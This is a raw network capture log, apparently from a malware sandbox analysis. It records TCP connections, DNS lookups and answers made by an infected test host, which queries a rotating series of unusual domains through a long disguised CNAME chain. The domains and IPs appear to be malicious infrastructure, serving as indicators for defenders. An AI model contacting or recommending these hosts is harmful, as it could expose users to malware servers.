Nov 20, 2024 08:34:26.257926941 CET	50033	80	192.168.2.6	13.248.169.48
Nov 20, 2024 08:34:26.276673079 CET	50033	80	192.168.2.6	13.248.169.48
Nov 20, 2024 08:34:26.281653881 CET	80	50033	13.248.169.48	192.168.2.6
Nov 20, 2024 08:34:26.281723976 CET	80	50033	13.248.169.48	192.168.2.6
Nov 20, 2024 08:34:26.724602938 CET	80	50033	13.248.169.48	192.168.2.6
Nov 20, 2024 08:34:26.724767923 CET	50033	80	192.168.2.6	13.248.169.48
Nov 20, 2024 08:34:27.852417946 CET	50033	80	192.168.2.6	13.248.169.48
Nov 20, 2024 08:34:28.218393087 CET	50033	80	192.168.2.6	13.248.169.48
Nov 20, 2024 08:34:28.797204971 CET	80	50033	13.248.169.48	192.168.2.6
Nov 20, 2024 08:34:28.797249079 CET	80	50033	13.248.169.48	192.168.2.6
Nov 20, 2024 08:34:28.799371004 CET	50033	80	192.168.2.6	13.248.169.48
Nov 20, 2024 08:34:28.861366034 CET	50034	80	192.168.2.6	13.248.169.48
Nov 20, 2024 08:34:28.866748095 CET	80	50034	13.248.169.48	192.168.2.6
Nov 20, 2024 08:34:28.867429972 CET	50034	80	192.168.2.6	13.248.169.48
Nov 20, 2024 08:34:28.879338980 CET	50034	80	192.168.2.6	13.248.169.48
Nov 20, 2024 08:34:28.884496927 CET	80	50034	13.248.169.48	192.168.2.6
Nov 20, 2024 08:34:29.347915888 CET	80	50034	13.248.169.48	192.168.2.6
Nov 20, 2024 08:34:29.347978115 CET	80	50034	13.248.169.48	192.168.2.6
Nov 20, 2024 08:34:29.348124981 CET	50034	80	192.168.2.6	13.248.169.48
Nov 20, 2024 08:34:29.353565931 CET	50034	80	192.168.2.6	13.248.169.48
Nov 20, 2024 08:34:29.358505964 CET	80	50034	13.248.169.48	192.168.2.6
Nov 20, 2024 08:34:34.421104908 CET	50035	80	192.168.2.6	13.248.169.48
Nov 20, 2024 08:34:34.425992966 CET	80	50035	13.248.169.48	192.168.2.6
Nov 20, 2024 08:34:34.426058054 CET	50035	80	192.168.2.6	13.248.169.48
Nov 20, 2024 08:34:34.441217899 CET	50035	80	192.168.2.6	13.248.169.48
Nov 20, 2024 08:34:34.446190119 CET	80	50035	13.248.169.48	192.168.2.6
Nov 20, 2024 08:34:34.899445057 CET	80	50035	13.248.169.48	192.168.2.6
Nov 20, 2024 08:34:34.903506041 CET	50035	80	192.168.2.6	13.248.169.48
Nov 20, 2024 08:34:35.952739954 CET	50035	80	192.168.2.6	13.248.169.48
Nov 20, 2024 08:34:35.957832098 CET	80	50035	13.248.169.48	192.168.2.6
Nov 20, 2024 08:34:36.971510887 CET	50036	80	192.168.2.6	13.248.169.48
Nov 20, 2024 08:34:36.976547003 CET	80	50036	13.248.169.48	192.168.2.6
Nov 20, 2024 08:34:36.976869106 CET	50036	80	192.168.2.6	13.248.169.48
Nov 20, 2024 08:34:36.993566990 CET	50036	80	192.168.2.6	13.248.169.48
Nov 20, 2024 08:34:36.999834061 CET	80	50036	13.248.169.48	192.168.2.6
Nov 20, 2024 08:34:37.436126947 CET	80	50036	13.248.169.48	192.168.2.6
Nov 20, 2024 08:34:37.436227083 CET	50036	80	192.168.2.6	13.248.169.48
Nov 20, 2024 08:34:38.499450922 CET	50036	80	192.168.2.6	13.248.169.48
Nov 20, 2024 08:34:38.505342960 CET	80	50036	13.248.169.48	192.168.2.6
Nov 20, 2024 08:34:39.519345045 CET	50037	80	192.168.2.6	13.248.169.48
Nov 20, 2024 08:34:39.524331093 CET	80	50037	13.248.169.48	192.168.2.6
Nov 20, 2024 08:34:39.529381990 CET	50037	80	192.168.2.6	13.248.169.48
Nov 20, 2024 08:34:39.543355942 CET	50037	80	192.168.2.6	13.248.169.48
Nov 20, 2024 08:34:39.548275948 CET	80	50037	13.248.169.48	192.168.2.6
Nov 20, 2024 08:34:39.548496008 CET	80	50037	13.248.169.48	192.168.2.6
Nov 20, 2024 08:34:39.991364002 CET	80	50037	13.248.169.48	192.168.2.6
Nov 20, 2024 08:34:39.991492033 CET	50037	80	192.168.2.6	13.248.169.48
Nov 20, 2024 08:34:41.050168037 CET	50037	80	192.168.2.6	13.248.169.48
Nov 20, 2024 08:34:41.055380106 CET	80	50037	13.248.169.48	192.168.2.6
Nov 20, 2024 08:34:42.065563917 CET	50038	80	192.168.2.6	13.248.169.48
Nov 20, 2024 08:34:42.070652008 CET	80	50038	13.248.169.48	192.168.2.6
Nov 20, 2024 08:34:42.070733070 CET	50038	80	192.168.2.6	13.248.169.48
Nov 20, 2024 08:34:42.081414938 CET	50038	80	192.168.2.6	13.248.169.48
Nov 20, 2024 08:34:42.086386919 CET	80	50038	13.248.169.48	192.168.2.6
Nov 20, 2024 08:34:42.532031059 CET	80	50038	13.248.169.48	192.168.2.6
Nov 20, 2024 08:34:42.532068014 CET	80	50038	13.248.169.48	192.168.2.6
Nov 20, 2024 08:34:42.532171011 CET	50038	80	192.168.2.6	13.248.169.48
Nov 20, 2024 08:34:42.536000013 CET	50038	80	192.168.2.6	13.248.169.48
Nov 20, 2024 08:34:42.540899992 CET	80	50038	13.248.169.48	192.168.2.6
Nov 20, 2024 08:34:47.594947100 CET	50039	80	192.168.2.6	172.67.162.39
Nov 20, 2024 08:34:47.599852085 CET	80	50039	172.67.162.39	192.168.2.6
Nov 20, 2024 08:34:47.602602959 CET	50039	80	192.168.2.6	172.67.162.39
Nov 20, 2024 08:34:47.619359970 CET	50039	80	192.168.2.6	172.67.162.39
Nov 20, 2024 08:34:47.624313116 CET	80	50039	172.67.162.39	192.168.2.6
Nov 20, 2024 08:34:48.132668018 CET	80	50039	172.67.162.39	192.168.2.6
Nov 20, 2024 08:34:48.132721901 CET	80	50039	172.67.162.39	192.168.2.6
Nov 20, 2024 08:34:48.132791042 CET	50039	80	192.168.2.6	172.67.162.39
Nov 20, 2024 08:34:48.132853985 CET	80	50039	172.67.162.39	192.168.2.6
Nov 20, 2024 08:34:48.132906914 CET	50039	80	192.168.2.6	172.67.162.39
Nov 20, 2024 08:34:49.124407053 CET	50039	80	192.168.2.6	172.67.162.39
Nov 20, 2024 08:34:50.174752951 CET	50040	80	192.168.2.6	172.67.162.39
Nov 20, 2024 08:34:50.181282043 CET	80	50040	172.67.162.39	192.168.2.6
Nov 20, 2024 08:34:50.181377888 CET	50040	80	192.168.2.6	172.67.162.39
Nov 20, 2024 08:34:50.204757929 CET	50040	80	192.168.2.6	172.67.162.39
Nov 20, 2024 08:34:50.210535049 CET	80	50040	172.67.162.39	192.168.2.6
Nov 20, 2024 08:34:50.722913027 CET	80	50040	172.67.162.39	192.168.2.6
Nov 20, 2024 08:34:50.722997904 CET	80	50040	172.67.162.39	192.168.2.6
Nov 20, 2024 08:34:50.723072052 CET	50040	80	192.168.2.6	172.67.162.39
Nov 20, 2024 08:34:50.723236084 CET	80	50040	172.67.162.39	192.168.2.6
Nov 20, 2024 08:34:50.723289967 CET	50040	80	192.168.2.6	172.67.162.39
Nov 20, 2024 08:34:51.721496105 CET	50040	80	192.168.2.6	172.67.162.39
Nov 20, 2024 08:34:52.736944914 CET	50041	80	192.168.2.6	172.67.162.39
Nov 20, 2024 08:34:52.742053032 CET	80	50041	172.67.162.39	192.168.2.6
Nov 20, 2024 08:34:52.742129087 CET	50041	80	192.168.2.6	172.67.162.39
Nov 20, 2024 08:34:52.758469105 CET	50041	80	192.168.2.6	172.67.162.39
Nov 20, 2024 08:34:52.763530016 CET	80	50041	172.67.162.39	192.168.2.6
Nov 20, 2024 08:34:52.763545036 CET	80	50041	172.67.162.39	192.168.2.6
Nov 20, 2024 08:34:53.275191069 CET	80	50041	172.67.162.39	192.168.2.6
Nov 20, 2024 08:34:53.275213003 CET	80	50041	172.67.162.39	192.168.2.6
Nov 20, 2024 08:34:53.275782108 CET	80	50041	172.67.162.39	192.168.2.6
Nov 20, 2024 08:34:53.275913000 CET	50041	80	192.168.2.6	172.67.162.39
Nov 20, 2024 08:34:54.265259027 CET	50041	80	192.168.2.6	172.67.162.39
Nov 20, 2024 08:34:55.289839983 CET	50043	80	192.168.2.6	172.67.162.39
Nov 20, 2024 08:34:55.295047045 CET	80	50043	172.67.162.39	192.168.2.6
Nov 20, 2024 08:34:55.295167923 CET	50043	80	192.168.2.6	172.67.162.39
Nov 20, 2024 08:34:55.305727005 CET	50043	80	192.168.2.6	172.67.162.39
Nov 20, 2024 08:34:55.310594082 CET	80	50043	172.67.162.39	192.168.2.6
Nov 20, 2024 08:34:55.824734926 CET	80	50043	172.67.162.39	192.168.2.6
Nov 20, 2024 08:34:55.824788094 CET	80	50043	172.67.162.39	192.168.2.6
Nov 20, 2024 08:34:55.824821949 CET	80	50043	172.67.162.39	192.168.2.6
Nov 20, 2024 08:34:55.824857950 CET	80	50043	172.67.162.39	192.168.2.6
Nov 20, 2024 08:34:55.824857950 CET	50043	80	192.168.2.6	172.67.162.39
Nov 20, 2024 08:34:55.824889898 CET	80	50043	172.67.162.39	192.168.2.6
Nov 20, 2024 08:34:55.824922085 CET	80	50043	172.67.162.39	192.168.2.6
Nov 20, 2024 08:34:55.824954033 CET	50043	80	192.168.2.6	172.67.162.39
Nov 20, 2024 08:34:55.824956894 CET	80	50043	172.67.162.39	192.168.2.6
Nov 20, 2024 08:34:55.824985027 CET	50043	80	192.168.2.6	172.67.162.39
Nov 20, 2024 08:34:55.825069904 CET	80	50043	172.67.162.39	192.168.2.6
Nov 20, 2024 08:34:55.825103045 CET	80	50043	172.67.162.39	192.168.2.6
Nov 20, 2024 08:34:55.825128078 CET	50043	80	192.168.2.6	172.67.162.39
Nov 20, 2024 08:34:55.825136900 CET	80	50043	172.67.162.39	192.168.2.6
Nov 20, 2024 08:34:55.825180054 CET	50043	80	192.168.2.6	172.67.162.39
Nov 20, 2024 08:34:55.829943895 CET	80	50043	172.67.162.39	192.168.2.6
Nov 20, 2024 08:34:55.830002069 CET	80	50043	172.67.162.39	192.168.2.6
Nov 20, 2024 08:34:55.830097914 CET	50043	80	192.168.2.6	172.67.162.39
Nov 20, 2024 08:34:55.832968950 CET	50043	80	192.168.2.6	172.67.162.39
Nov 20, 2024 08:34:55.837898016 CET	80	50043	172.67.162.39	192.168.2.6
Nov 20, 2024 08:35:00.907393932 CET	50044	80	192.168.2.6	13.248.169.48
Nov 20, 2024 08:35:00.912421942 CET	80	50044	13.248.169.48	192.168.2.6
Nov 20, 2024 08:35:00.919388056 CET	50044	80	192.168.2.6	13.248.169.48
Nov 20, 2024 08:35:00.930579901 CET	50044	80	192.168.2.6	13.248.169.48
Nov 20, 2024 08:35:00.935570002 CET	80	50044	13.248.169.48	192.168.2.6
Nov 20, 2024 08:35:01.374111891 CET	80	50044	13.248.169.48	192.168.2.6
Nov 20, 2024 08:35:01.374224901 CET	50044	80	192.168.2.6	13.248.169.48
Nov 20, 2024 08:35:02.436918020 CET	50044	80	192.168.2.6	13.248.169.48
Nov 20, 2024 08:35:02.442011118 CET	80	50044	13.248.169.48	192.168.2.6
Nov 20, 2024 08:35:03.455904007 CET	50045	80	192.168.2.6	13.248.169.48
Nov 20, 2024 08:35:03.460891962 CET	80	50045	13.248.169.48	192.168.2.6
Nov 20, 2024 08:35:03.461035967 CET	50045	80	192.168.2.6	13.248.169.48
Nov 20, 2024 08:35:03.477396011 CET	50045	80	192.168.2.6	13.248.169.48
Nov 20, 2024 08:35:03.482243061 CET	80	50045	13.248.169.48	192.168.2.6
Nov 20, 2024 08:35:03.940217018 CET	80	50045	13.248.169.48	192.168.2.6
Nov 20, 2024 08:35:03.940299034 CET	50045	80	192.168.2.6	13.248.169.48
Nov 20, 2024 08:35:04.983880043 CET	50045	80	192.168.2.6	13.248.169.48
Nov 20, 2024 08:35:04.988851070 CET	80	50045	13.248.169.48	192.168.2.6
Nov 20, 2024 08:35:06.003413916 CET	50046	80	192.168.2.6	13.248.169.48
Nov 20, 2024 08:35:06.008604050 CET	80	50046	13.248.169.48	192.168.2.6
Nov 20, 2024 08:35:06.008690119 CET	50046	80	192.168.2.6	13.248.169.48
Nov 20, 2024 08:35:06.026964903 CET	50046	80	192.168.2.6	13.248.169.48
Nov 20, 2024 08:35:06.031779051 CET	80	50046	13.248.169.48	192.168.2.6
Nov 20, 2024 08:35:06.031903028 CET	80	50046	13.248.169.48	192.168.2.6
Nov 20, 2024 08:35:06.479614973 CET	80	50046	13.248.169.48	192.168.2.6
Nov 20, 2024 08:35:06.479706049 CET	50046	80	192.168.2.6	13.248.169.48
Nov 20, 2024 08:35:07.531467915 CET	50046	80	192.168.2.6	13.248.169.48
Nov 20, 2024 08:35:07.536583900 CET	80	50046	13.248.169.48	192.168.2.6
Nov 20, 2024 08:35:08.549774885 CET	50047	80	192.168.2.6	13.248.169.48
Nov 20, 2024 08:35:08.554855108 CET	80	50047	13.248.169.48	192.168.2.6
Nov 20, 2024 08:35:08.554977894 CET	50047	80	192.168.2.6	13.248.169.48
Nov 20, 2024 08:35:08.565615892 CET	50047	80	192.168.2.6	13.248.169.48
Nov 20, 2024 08:35:08.570549011 CET	80	50047	13.248.169.48	192.168.2.6
Nov 20, 2024 08:35:09.013777971 CET	80	50047	13.248.169.48	192.168.2.6
Nov 20, 2024 08:35:09.013822079 CET	80	50047	13.248.169.48	192.168.2.6
Nov 20, 2024 08:35:09.015592098 CET	50047	80	192.168.2.6	13.248.169.48
Nov 20, 2024 08:35:09.019412994 CET	50047	80	192.168.2.6	13.248.169.48
Nov 20, 2024 08:35:09.024317980 CET	80	50047	13.248.169.48	192.168.2.6
Nov 20, 2024 08:35:14.080408096 CET	50048	80	192.168.2.6	104.21.4.93
Nov 20, 2024 08:35:14.085381031 CET	80	50048	104.21.4.93	192.168.2.6
Nov 20, 2024 08:35:14.085447073 CET	50048	80	192.168.2.6	104.21.4.93
Nov 20, 2024 08:35:14.099303007 CET	50048	80	192.168.2.6	104.21.4.93
Nov 20, 2024 08:35:14.104445934 CET	80	50048	104.21.4.93	192.168.2.6
Nov 20, 2024 08:35:14.776777029 CET	80	50048	104.21.4.93	192.168.2.6
Nov 20, 2024 08:35:14.777601004 CET	80	50048	104.21.4.93	192.168.2.6
Nov 20, 2024 08:35:14.777692080 CET	50048	80	192.168.2.6	104.21.4.93
Nov 20, 2024 08:35:15.608818054 CET	50048	80	192.168.2.6	104.21.4.93
Nov 20, 2024 08:35:16.627307892 CET	50049	80	192.168.2.6	104.21.4.93
Nov 20, 2024 08:35:16.632365942 CET	80	50049	104.21.4.93	192.168.2.6
Nov 20, 2024 08:35:16.632456064 CET	50049	80	192.168.2.6	104.21.4.93
Nov 20, 2024 08:35:16.647392988 CET	50049	80	192.168.2.6	104.21.4.93
Nov 20, 2024 08:35:16.652509928 CET	80	50049	104.21.4.93	192.168.2.6
Nov 20, 2024 08:35:17.312531948 CET	80	50049	104.21.4.93	192.168.2.6
Nov 20, 2024 08:35:17.312782049 CET	80	50049	104.21.4.93	192.168.2.6
Nov 20, 2024 08:35:17.312999010 CET	50049	80	192.168.2.6	104.21.4.93
Nov 20, 2024 08:35:18.155643940 CET	50049	80	192.168.2.6	104.21.4.93
Nov 20, 2024 08:35:19.179107904 CET	50050	80	192.168.2.6	104.21.4.93
Nov 20, 2024 08:35:19.184124947 CET	80	50050	104.21.4.93	192.168.2.6
Nov 20, 2024 08:35:19.189707041 CET	50050	80	192.168.2.6	104.21.4.93
Nov 20, 2024 08:35:19.205195904 CET	50050	80	192.168.2.6	104.21.4.93
Nov 20, 2024 08:35:19.210218906 CET	80	50050	104.21.4.93	192.168.2.6
Nov 20, 2024 08:35:19.210305929 CET	80	50050	104.21.4.93	192.168.2.6
Nov 20, 2024 08:35:19.855067968 CET	80	50050	104.21.4.93	192.168.2.6
Nov 20, 2024 08:35:19.855386972 CET	80	50050	104.21.4.93	192.168.2.6
Nov 20, 2024 08:35:19.855577946 CET	80	50050	104.21.4.93	192.168.2.6
Nov 20, 2024 08:35:19.858912945 CET	50050	80	192.168.2.6	104.21.4.93
Nov 20, 2024 08:35:20.718260050 CET	50050	80	192.168.2.6	104.21.4.93
Nov 20, 2024 08:35:21.737569094 CET	50051	80	192.168.2.6	104.21.4.93
Nov 20, 2024 08:35:21.742712021 CET	80	50051	104.21.4.93	192.168.2.6
Nov 20, 2024 08:35:21.743494987 CET	50051	80	192.168.2.6	104.21.4.93
Nov 20, 2024 08:35:21.755423069 CET	50051	80	192.168.2.6	104.21.4.93
Nov 20, 2024 08:35:21.760461092 CET	80	50051	104.21.4.93	192.168.2.6
Nov 20, 2024 08:35:22.429676056 CET	80	50051	104.21.4.93	192.168.2.6
Nov 20, 2024 08:35:22.429867029 CET	80	50051	104.21.4.93	192.168.2.6
Nov 20, 2024 08:35:22.429915905 CET	50051	80	192.168.2.6	104.21.4.93
Nov 20, 2024 08:35:22.433351994 CET	50051	80	192.168.2.6	104.21.4.93
Nov 20, 2024 08:35:22.438302994 CET	80	50051	104.21.4.93	192.168.2.6

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Nov 20, 2024 08:31:49.013951063 CET	53146	53	192.168.2.6	1.1.1.1
Nov 20, 2024 08:31:49.062800884 CET	53	53146	1.1.1.1	192.168.2.6
Nov 20, 2024 08:32:04.789263010 CET	59294	53	192.168.2.6	1.1.1.1
Nov 20, 2024 08:32:04.846648932 CET	53	59294	1.1.1.1	192.168.2.6
Nov 20, 2024 08:32:18.080279112 CET	60882	53	192.168.2.6	1.1.1.1
Nov 20, 2024 08:32:18.548911095 CET	53	60882	1.1.1.1	192.168.2.6
Nov 20, 2024 08:32:32.191608906 CET	54785	53	192.168.2.6	1.1.1.1
Nov 20, 2024 08:32:32.203069925 CET	53	54785	1.1.1.1	192.168.2.6
Nov 20, 2024 08:32:45.456099987 CET	54624	53	192.168.2.6	1.1.1.1
Nov 20, 2024 08:32:45.562450886 CET	53	54624	1.1.1.1	192.168.2.6
Nov 20, 2024 08:32:58.986675978 CET	60345	53	192.168.2.6	1.1.1.1
Nov 20, 2024 08:32:59.024373055 CET	53	60345	1.1.1.1	192.168.2.6
Nov 20, 2024 08:33:12.618695021 CET	53618	53	192.168.2.6	1.1.1.1
Nov 20, 2024 08:33:12.633970022 CET	53	53618	1.1.1.1	192.168.2.6
Nov 20, 2024 08:33:26.018661976 CET	55932	53	192.168.2.6	1.1.1.1
Nov 20, 2024 08:33:26.048413992 CET	53	55932	1.1.1.1	192.168.2.6
Nov 20, 2024 08:33:39.331423998 CET	63420	53	192.168.2.6	1.1.1.1
Nov 20, 2024 08:33:39.370965004 CET	53	63420	1.1.1.1	192.168.2.6
Nov 20, 2024 08:33:52.739272118 CET	58737	53	192.168.2.6	1.1.1.1
Nov 20, 2024 08:33:53.749339104 CET	58737	53	192.168.2.6	1.1.1.1
Nov 20, 2024 08:33:53.832842112 CET	53	58737	1.1.1.1	192.168.2.6
Nov 20, 2024 08:33:53.832884073 CET	53	58737	1.1.1.1	192.168.2.6
Nov 20, 2024 08:34:07.379292011 CET	60272	53	192.168.2.6	1.1.1.1
Nov 20, 2024 08:34:07.694067001 CET	53	60272	1.1.1.1	192.168.2.6
Nov 20, 2024 08:34:21.128729105 CET	53007	53	192.168.2.6	1.1.1.1
Nov 20, 2024 08:34:21.147069931 CET	53	53007	1.1.1.1	192.168.2.6
Nov 20, 2024 08:34:34.364387035 CET	49166	53	192.168.2.6	1.1.1.1
Nov 20, 2024 08:34:34.419022083 CET	53	49166	1.1.1.1	192.168.2.6
Nov 20, 2024 08:34:47.551389933 CET	50255	53	192.168.2.6	1.1.1.1
Nov 20, 2024 08:34:47.589750051 CET	53	50255	1.1.1.1	192.168.2.6
Nov 20, 2024 08:35:00.847412109 CET	56777	53	192.168.2.6	1.1.1.1
Nov 20, 2024 08:35:00.900012970 CET	53	56777	1.1.1.1	192.168.2.6
Nov 20, 2024 08:35:14.034126997 CET	55368	53	192.168.2.6	1.1.1.1
Nov 20, 2024 08:35:14.077846050 CET	53	55368	1.1.1.1	192.168.2.6

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Nov 20, 2024 08:31:49.013951063 CET	192.168.2.6	1.1.1.1	0x4f5	Standard query (0)	www.aziziyeescortg.xyz	A (IP address)	IN (0x0001)	false
Nov 20, 2024 08:32:04.789263010 CET	192.168.2.6	1.1.1.1	0x8c9	Standard query (0)	www.grandesofertas.fun	A (IP address)	IN (0x0001)	false
Nov 20, 2024 08:32:18.080279112 CET	192.168.2.6	1.1.1.1	0x25f7	Standard query (0)	www.sankan-fukushi.info	A (IP address)	IN (0x0001)	false
Nov 20, 2024 08:32:32.191608906 CET	192.168.2.6	1.1.1.1	0xdc8f	Standard query (0)	www.conansog.shop	A (IP address)	IN (0x0001)	false
Nov 20, 2024 08:32:45.456099987 CET	192.168.2.6	1.1.1.1	0xbbf6	Standard query (0)	www.beythome.online	A (IP address)	IN (0x0001)	false
Nov 20, 2024 08:32:58.986675978 CET	192.168.2.6	1.1.1.1	0xc3d3	Standard query (0)	www.tempatmudisini06.click	A (IP address)	IN (0x0001)	false
Nov 20, 2024 08:33:12.618695021 CET	192.168.2.6	1.1.1.1	0x7568	Standard query (0)	www.questmatch.pro	A (IP address)	IN (0x0001)	false
Nov 20, 2024 08:33:26.018661976 CET	192.168.2.6	1.1.1.1	0x892d	Standard query (0)	www.callyur.shop	A (IP address)	IN (0x0001)	false
Nov 20, 2024 08:33:39.331423998 CET	192.168.2.6	1.1.1.1	0x42c2	Standard query (0)	www.housew.website	A (IP address)	IN (0x0001)	false
Nov 20, 2024 08:33:52.739272118 CET	192.168.2.6	1.1.1.1	0x8f3d	Standard query (0)	www.nuy25c9t.sbs	A (IP address)	IN (0x0001)	false
Nov 20, 2024 08:33:53.749339104 CET	192.168.2.6	1.1.1.1	0x8f3d	Standard query (0)	www.nuy25c9t.sbs	A (IP address)	IN (0x0001)	false
Nov 20, 2024 08:34:07.379292011 CET	192.168.2.6	1.1.1.1	0x88d9	Standard query (0)	www.madhf.tech	A (IP address)	IN (0x0001)	false
Nov 20, 2024 08:34:21.128729105 CET	192.168.2.6	1.1.1.1	0xb6f0	Standard query (0)	www.a1shop.shop	A (IP address)	IN (0x0001)	false
Nov 20, 2024 08:34:34.364387035 CET	192.168.2.6	1.1.1.1	0x1c58	Standard query (0)	www.aiactor.xyz	A (IP address)	IN (0x0001)	false
Nov 20, 2024 08:34:47.551389933 CET	192.168.2.6	1.1.1.1	0x21a	Standard query (0)	www.sitioseguro.blog	A (IP address)	IN (0x0001)	false
Nov 20, 2024 08:35:00.847412109 CET	192.168.2.6	1.1.1.1	0x5951	Standard query (0)	www.optimismbank.xyz	A (IP address)	IN (0x0001)	false
Nov 20, 2024 08:35:14.034126997 CET	192.168.2.6	1.1.1.1	0x849b	Standard query (0)	www.nonpressure.beauty	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Nov 20, 2024 08:31:49.062800884 CET	1.1.1.1	192.168.2.6	0x4f5	No error (0)	www.aziziyeescortg.xyz		188.114.96.3	A (IP address)	IN (0x0001)	false
Nov 20, 2024 08:31:49.062800884 CET	1.1.1.1	192.168.2.6	0x4f5	No error (0)	www.aziziyeescortg.xyz		188.114.97.3	A (IP address)	IN (0x0001)	false
Nov 20, 2024 08:32:04.846648932 CET	1.1.1.1	192.168.2.6	0x8c9	No error (0)	www.grandesofertas.fun	entri-domains.clickmax.io		CNAME (Canonical name)	IN (0x0001)	false
Nov 20, 2024 08:32:04.846648932 CET	1.1.1.1	192.168.2.6	0x8c9	No error (0)	entri-domains.clickmax.io	ssl.goentri.com		CNAME (Canonical name)	IN (0x0001)	false
Nov 20, 2024 08:32:04.846648932 CET	1.1.1.1	192.168.2.6	0x8c9	No error (0)	ssl.goentri.com		76.223.74.74	A (IP address)	IN (0x0001)	false
Nov 20, 2024 08:32:04.846648932 CET	1.1.1.1	192.168.2.6	0x8c9	No error (0)	ssl.goentri.com		13.248.221.243	A (IP address)	IN (0x0001)	false
Nov 20, 2024 08:32:18.548911095 CET	1.1.1.1	192.168.2.6	0x25f7	No error (0)	www.sankan-fukushi.info		163.44.185.183	A (IP address)	IN (0x0001)	false
Nov 20, 2024 08:32:32.203069925 CET	1.1.1.1	192.168.2.6	0xdc8f	No error (0)	www.conansog.shop		172.67.162.12	A (IP address)	IN (0x0001)	false
Nov 20, 2024 08:32:32.203069925 CET	1.1.1.1	192.168.2.6	0xdc8f	No error (0)	www.conansog.shop		104.21.41.74	A (IP address)	IN (0x0001)	false
Nov 20, 2024 08:32:45.562450886 CET	1.1.1.1	192.168.2.6	0xbbf6	No error (0)	www.beythome.online	redirect.natrocdn.com		CNAME (Canonical name)	IN (0x0001)	false
Nov 20, 2024 08:32:45.562450886 CET	1.1.1.1	192.168.2.6	0xbbf6	No error (0)	redirect.natrocdn.com	natroredirect.natrocdn.com		CNAME (Canonical name)	IN (0x0001)	false
Nov 20, 2024 08:32:45.562450886 CET	1.1.1.1	192.168.2.6	0xbbf6	No error (0)	natroredirect.natrocdn.com		85.159.66.93	A (IP address)	IN (0x0001)	false
Nov 20, 2024 08:32:59.024373055 CET	1.1.1.1	192.168.2.6	0xc3d3	No error (0)	www.tempatmudisini06.click	tempatmudisini06.click		CNAME (Canonical name)	IN (0x0001)	false
Nov 20, 2024 08:32:59.024373055 CET	1.1.1.1	192.168.2.6	0xc3d3	No error (0)	tempatmudisini06.click		103.21.221.4	A (IP address)	IN (0x0001)	false
Nov 20, 2024 08:33:12.633970022 CET	1.1.1.1	192.168.2.6	0x7568	No error (0)	www.questmatch.pro		188.114.96.3	A (IP address)	IN (0x0001)	false
Nov 20, 2024 08:33:12.633970022 CET	1.1.1.1	192.168.2.6	0x7568	No error (0)	www.questmatch.pro		188.114.97.3	A (IP address)	IN (0x0001)	false
Nov 20, 2024 08:33:26.048413992 CET	1.1.1.1	192.168.2.6	0x892d	No error (0)	www.callyur.shop	callyur.shop		CNAME (Canonical name)	IN (0x0001)	false
Nov 20, 2024 08:33:26.048413992 CET	1.1.1.1	192.168.2.6	0x892d	No error (0)	callyur.shop		66.29.137.10	A (IP address)	IN (0x0001)	false
Nov 20, 2024 08:33:39.370965004 CET	1.1.1.1	192.168.2.6	0x42c2	No error (0)	www.housew.website		203.161.46.205	A (IP address)	IN (0x0001)	false
Nov 20, 2024 08:33:53.832842112 CET	1.1.1.1	192.168.2.6	0x8f3d	No error (0)	www.nuy25c9t.sbs	b1-3-r11-gmhudx.t9d2quy5.shop		CNAME (Canonical name)	IN (0x0001)	false
Nov 20, 2024 08:33:53.832842112 CET	1.1.1.1	192.168.2.6	0x8f3d	No error (0)	b1-3-r11-gmhudx.t9d2quy5.shop	b1-3-r11.t9d2quy5.shop		CNAME (Canonical name)	IN (0x0001)	false
Nov 20, 2024 08:33:53.832842112 CET	1.1.1.1	192.168.2.6	0x8f3d	No error (0)	b1-3-r11.t9d2quy5.shop	b1-3-r111-s65psj.8uqm5xgy.shop		CNAME (Canonical name)	IN (0x0001)	false
Nov 20, 2024 08:33:53.832842112 CET	1.1.1.1	192.168.2.6	0x8f3d	No error (0)	b1-3-r111-s65psj.8uqm5xgy.shop	b1-3-r11-nff52.alicloudddos.top		CNAME (Canonical name)	IN (0x0001)	false
Nov 20, 2024 08:33:53.832842112 CET	1.1.1.1	192.168.2.6	0x8f3d	No error (0)	b1-3-r11-nff52.alicloudddos.top	b1-3-r111-s65psj.alicloudddos.top		CNAME (Canonical name)	IN (0x0001)	false
Nov 20, 2024 08:33:53.832842112 CET	1.1.1.1	192.168.2.6	0x8f3d	No error (0)	b1-3-r111-s65psj.alicloudddos.top	b1-3-r111-55g56.kunlundns.top		CNAME (Canonical name)	IN (0x0001)	false
Nov 20, 2024 08:33:53.832842112 CET	1.1.1.1	192.168.2.6	0x8f3d	No error (0)	b1-3-r111-55g56.kunlundns.top	b1-3-r111.kunlundns.top		CNAME (Canonical name)	IN (0x0001)	false
Nov 20, 2024 08:33:53.832842112 CET	1.1.1.1	192.168.2.6	0x8f3d	No error (0)	b1-3-r111.kunlundns.top		43.155.76.124	A (IP address)	IN (0x0001)	false
Nov 20, 2024 08:33:53.832884073 CET	1.1.1.1	192.168.2.6	0x8f3d	No error (0)	www.nuy25c9t.sbs	b1-3-r11-gmhudx.t9d2quy5.shop		CNAME (Canonical name)	IN (0x0001)	false
Nov 20, 2024 08:33:53.832884073 CET	1.1.1.1	192.168.2.6	0x8f3d	No error (0)	b1-3-r11-gmhudx.t9d2quy5.shop	b1-3-r11.t9d2quy5.shop		CNAME (Canonical name)	IN (0x0001)	false
Nov 20, 2024 08:33:53.832884073 CET	1.1.1.1	192.168.2.6	0x8f3d	No error (0)	b1-3-r11.t9d2quy5.shop	b1-3-r111-s65psj.8uqm5xgy.shop		CNAME (Canonical name)	IN (0x0001)	false
Nov 20, 2024 08:33:53.832884073 CET	1.1.1.1	192.168.2.6	0x8f3d	No error (0)	b1-3-r111-s65psj.8uqm5xgy.shop	b1-3-r11-nff52.alicloudddos.top		CNAME (Canonical name)	IN (0x0001)	false
Nov 20, 2024 08:33:53.832884073 CET	1.1.1.1	192.168.2.6	0x8f3d	No error (0)	b1-3-r11-nff52.alicloudddos.top	b1-3-r111-s65psj.alicloudddos.top		CNAME (Canonical name)	IN (0x0001)	false
Nov 20, 2024 08:33:53.832884073 CET	1.1.1.1	192.168.2.6	0x8f3d	No error (0)	b1-3-r111-s65psj.alicloudddos.top	b1-3-r111-55g56.kunlundns.top		CNAME (Canonical name)	IN (0x0001)	false
